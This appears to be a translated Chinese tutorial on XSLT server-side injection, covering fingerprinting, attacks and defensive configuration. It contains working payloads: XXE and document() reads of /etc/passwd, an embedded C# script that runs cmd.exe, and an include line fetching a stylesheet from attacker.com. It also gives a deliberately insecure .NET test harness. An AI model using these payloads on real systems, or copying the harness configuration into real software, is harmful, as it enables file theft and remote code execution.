【译】XSLT attack
字数 1641 2025-08-29 08:31:41
XSLT服务端注入攻击全面解析与防御指南
1. XSLT基础概念
XSLT(Extensible Stylesheet Language Transformations)是一种用于将XML文档转换为其他格式的语言,转换本身也是XML文档。
1.1 XSLT常见用途
- 企业应用程序中的数据格式转换
- 报表生成功能
- 不同格式的数据导出
- 打印和邮件模板
- 多租户应用的定制化输出
1.2 基本示例
<!-- 原始XML (data.xml) -->
<fruits>
<fruit>
<name>Lemon</name>
<description>Yellow and sour</description>
</fruit>
</fruits>
<!-- XSLT转换 (transform.xslt) -->
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Fruits:
<xsl:for-each select="fruit">
- <xsl:value-of select="name"/> : <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
<!-- 转换结果 -->
Fruits:
- Lemon : Yellow and sour
2. XSLT漏洞类型与攻击手法
2.1 漏洞发现方法
-
识别注入点:
- 允许上传任意XSLT文件
- 使用不受信任的用户输入动态生成XSLT文档
-
测试方法:
- 注入特殊字符(双引号、单引号、尖括号)观察错误响应
- 使用
system-property()函数进行指纹识别
2.2 指纹识别
<xsl:value-of select="system-property('xsl:vendor')"/>
常见返回值:
- Microsoft (.NET)
- libxslt (Gnome)
- Saxon (Saxonica)
- Xalan (Apache)
2.3 XML外部实体攻击(XXE)
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "file:///etc/passwd">]>
<xsl:template match="/">
&ext_file;
</xsl:template>
攻击效果:
- 读取服务器文件(包括配置文件、敏感数据)
- 内网端口扫描(通过响应差异判断端口状态)
- 通过UNC路径或HTTP URL访问内网资源
2.4 document()函数攻击
<xsl:copy-of select="document('file:///etc/passwd')"/>
特点:
- 要求目标文件是格式良好的XML
- 适用于读取web.config等XML配置文件
- 同样可用于内网探测
2.5 嵌入式脚本攻击(.NET特有)
<xsl:stylesheet xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">
<msxsl:script language="C#" implements-prefix="user">
<![CDATA[
public string execute(){
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "cmd.exe";
proc.StartInfo.Arguments = "/c whoami";
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
proc.WaitForExit();
return proc.StandardOutput.ReadToEnd();
}
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:execute()"/>
</xsl:template>
</xsl:stylesheet>
攻击效果:
- 完全远程代码执行
- 系统命令执行
- 获取系统权限
2.6 import/include曲线注入
当注入点不在文档顶部时:
</xsl:template>
<xsl:include href="http://attacker.com/malicious.xslt"/>
<xsl:template name="a">
3. 漏洞利用场景
3.1 实际受影响案例
- CVE-2012-5357 (影响.NET Ektron CMS)
- CVE-2012-1592 (影响Apache Struts 2.0)
- CVE-2005-3757 (影响Google Search Appliance)
3.2 攻击链示例
- 发现XSLT注入点
- 识别XSLT处理器类型
- 根据处理器特性选择攻击方式:
- 所有处理器:XXE攻击
- .NET环境:嵌入式脚本攻击
- 其他环境:document()函数攻击
- 逐步提升权限,获取系统控制权
4. 漏洞防御措施
4.1 安全编码实践
-
输入控制:
- 避免使用用户提供的XSLT文档
- 不要拼接用户输入生成XSLT文档
-
安全配置:
// .NET安全配置示例
XmlReaderSettings secureSettings = new XmlReaderSettings {
DtdProcessing = DtdProcessing.Prohibit, // 禁用DTD处理
XmlResolver = null // 禁用外部实体解析
};
XsltSettings secureXsltSettings = new XsltSettings {
EnableDocumentFunction = false, // 禁用document()函数
EnableScript = false // 禁用脚本
};
XslCompiledTransform transform = new XslCompiledTransform();
transform.Load(xsltReader, secureXsltSettings, null); // 不使用解析器
4.2 各库安全配置参考
| 库名称 | 禁用XXE | 禁用document() | 禁用脚本 | 默认安全 |
|---|---|---|---|---|
| .NET System.Xml | 需配置 | 默认禁用 | 默认禁用 | 中等 |
| libxslt | 需配置 | 需配置 | N/A | 低 |
| Saxon | 需配置 | 需配置 | N/A | 中等 |
| Xalan | 需配置 | 需配置 | N/A | 低 |
4.3 其他防御措施
- 实施严格的XSLT文档验证
- 使用白名单限制允许的XSLT元素和函数
- 在沙箱环境中执行XSLT转换
- 定期更新XSLT处理器到最新版本
5. 测试环境搭建
5.1 易受攻击的.NET测试应用
using System;
using System.Xml;
using System.Xml.Xsl;
class Program {
static void Main() {
// 危险配置 - 仅用于测试
XmlReaderSettings settings = new XmlReaderSettings {
DtdProcessing = DtdProcessing.Parse,
XmlResolver = new XmlUrlResolver()
};
XsltSettings xsltSettings = XsltSettings.TrustedXslt;
XslCompiledTransform transform = new XslCompiledTransform();
transform.Load("transform.xslt", xsltSettings, new XmlUrlResolver());
transform.Transform("data.xml", null, Console.Out);
}
}
5.2 测试流程
- 编译上述代码
- 准备data.xml和transform.xslt文件
- 尝试各种攻击载荷验证漏洞
6. 总结
XSLT注入漏洞虽然不如其他注入漏洞常见,但危害性极大,可导致:
- 远程代码执行
- 敏感数据泄露
- 内网渗透
- 系统完全沦陷
防御关键在于:
- 严格控制XSLT文档来源
- 禁用危险功能
- 使用安全配置
- 保持组件更新
开发人员应充分了解XSLT处理器的安全特性,在设计和实现阶段就考虑安全性,避免留下可被利用的漏洞。